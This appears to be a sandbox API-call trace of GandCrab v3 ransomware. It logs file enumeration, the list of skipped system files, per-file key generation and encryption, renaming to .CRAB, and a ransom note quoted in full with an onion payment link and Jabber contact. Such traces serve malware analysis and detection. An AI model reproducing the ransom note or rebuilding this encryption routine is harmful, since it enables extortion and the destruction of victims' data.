	[0127.180] GetLastError () returned 0x0
	[0127.180] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.180] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0127.182] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f1b8) returned 1
	[0127.183] CryptGetKeyParam (in: hKey=0x318f1b8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.183] CryptEncrypt (in: hKey=0x318f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0127.183] GetLastError () returned 0x0
	[0127.183] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.183] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Ie5epaMPUcju.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\ie5epampucju.pdf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0127.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.184] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.184] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x236f, lpOverlapped=0x0) returned 1
	[0127.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2370, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2370, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.191] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.191] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffdc91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.191] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x2370, lpOverlapped=0x0) returned 1
	[0127.191] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.192] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.195] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.196] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.196] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0127.196] CloseHandle (hObject=0x3ec) returned 1
	[0127.196] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.196] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.196] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.197] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.197] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.197] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.197] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0127.197] lstrcmpW (lpString1="kggfyF.pps", lpString2=".") returned 1
	[0127.197] lstrcmpW (lpString1="kggfyF.pps", lpString2="..") returned 1
	[0127.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="kggfyF.pps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps"
	[0127.197] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.197] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps") returned 58
	[0127.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps") returned 58
	[0127.198] lstrlenW (lpString=".pps") returned 4
	[0127.198] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.198] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pps ") returned 5
	[0127.198] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps") returned 58
	[0127.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps") returned 58
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="desktop.ini") returned 1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="autorun.inf") returned 1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="ntuser.dat") returned -1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="iconcache.db") returned 1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="bootsect.bak") returned 1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="boot.ini") returned 1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="ntuser.dat.log") returned -1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="thumbs.db") returned -1
	[0127.198] lstrcmpiW (lpString1="kggfyF.pps", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.198] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.199] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB") returned 63
	[0127.199] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\kggfyf.pps")) returned 0x20
	[0127.199] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps", dwFileAttributes=0x20) returned 1
	[0127.199] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\kggfyf.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\kggfyf.pps.crab")) returned 1
	[0127.200] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.200] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB"
	[0127.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB.CRAB"
	[0127.200] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0127.203] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.204] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.204] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0127.204] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.204] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.204] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0127.207] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.207] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.207] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0127.207] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.207] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.207] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.208] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.208] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0127.211] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f3f8) returned 1
	[0127.211] CryptGetKeyParam (in: hKey=0x318f3f8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.211] CryptEncrypt (in: hKey=0x318f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0127.211] GetLastError () returned 0x0
	[0127.211] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.211] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0127.214] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318eff8) returned 1
	[0127.214] CryptGetKeyParam (in: hKey=0x318eff8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0127.214] CryptEncrypt (in: hKey=0x318eff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0127.214] GetLastError () returned 0x0
	[0127.214] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.214] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\kggfyF.pps.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\kggfyf.pps.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0127.215] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.215] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.215] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xb9ac, lpOverlapped=0x0) returned 1
	[0127.227] VirtualAlloc (lpAddress=0x0, dwSize=0xb9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.228] VirtualAlloc (lpAddress=0x0, dwSize=0xb9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.229] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.230] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4654, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.230] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xb9b0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xb9b0, lpOverlapped=0x0) returned 1
	[0127.230] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.230] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.234] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.234] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0127.234] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0127.234] CloseHandle (hObject=0x3ec) returned 1
	[0127.235] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.235] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.235] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.235] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.236] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.236] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.236] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0127.236] lstrcmpW (lpString1="q8CbS", lpString2=".") returned 1
	[0127.236] lstrcmpW (lpString1="q8CbS", lpString2="..") returned 1
	[0127.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="q8CbS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS"
	[0127.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\"
	[0127.236] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0127.237] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0127.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0127.237] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0127.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0127.237] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0127.237] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0127.237] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.238] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\\\CRAB-DECRYPT.txt") returned 71
	[0127.238] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0127.239] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0127.239] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0127.240] CloseHandle (hObject=0x3ec) returned 1
	[0127.240] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.240] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\") returned 54
	[0127.240] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\*"
	[0127.240] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x318ef78
	[0127.240] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0127.240] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.240] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0127.240] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0127.240] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.241] lstrcmpW (lpString1="2758g.pdf", lpString2=".") returned 1
	[0127.241] lstrcmpW (lpString1="2758g.pdf", lpString2="..") returned 1
	[0127.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="2758g.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf"
	[0127.241] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.241] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf") returned 63
	[0127.241] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf") returned 63
	[0127.241] lstrlenW (lpString=".pdf") returned 4
	[0127.241] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.241] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pdf ") returned 5
	[0127.241] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.242] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf") returned 63
	[0127.242] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf") returned 63
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="desktop.ini") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="autorun.inf") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="ntuser.dat") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="iconcache.db") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="bootsect.bak") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="boot.ini") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="ntuser.dat.log") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="thumbs.db") returned -1
	[0127.242] lstrcmpiW (lpString1="2758g.pdf", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.242] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.242] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB") returned 68
	[0127.242] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\2758g.pdf")) returned 0x20
	[0127.243] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf", dwFileAttributes=0x20) returned 1
	[0127.243] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\2758g.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\2758g.pdf.crab")) returned 1
	[0127.244] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.244] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB"
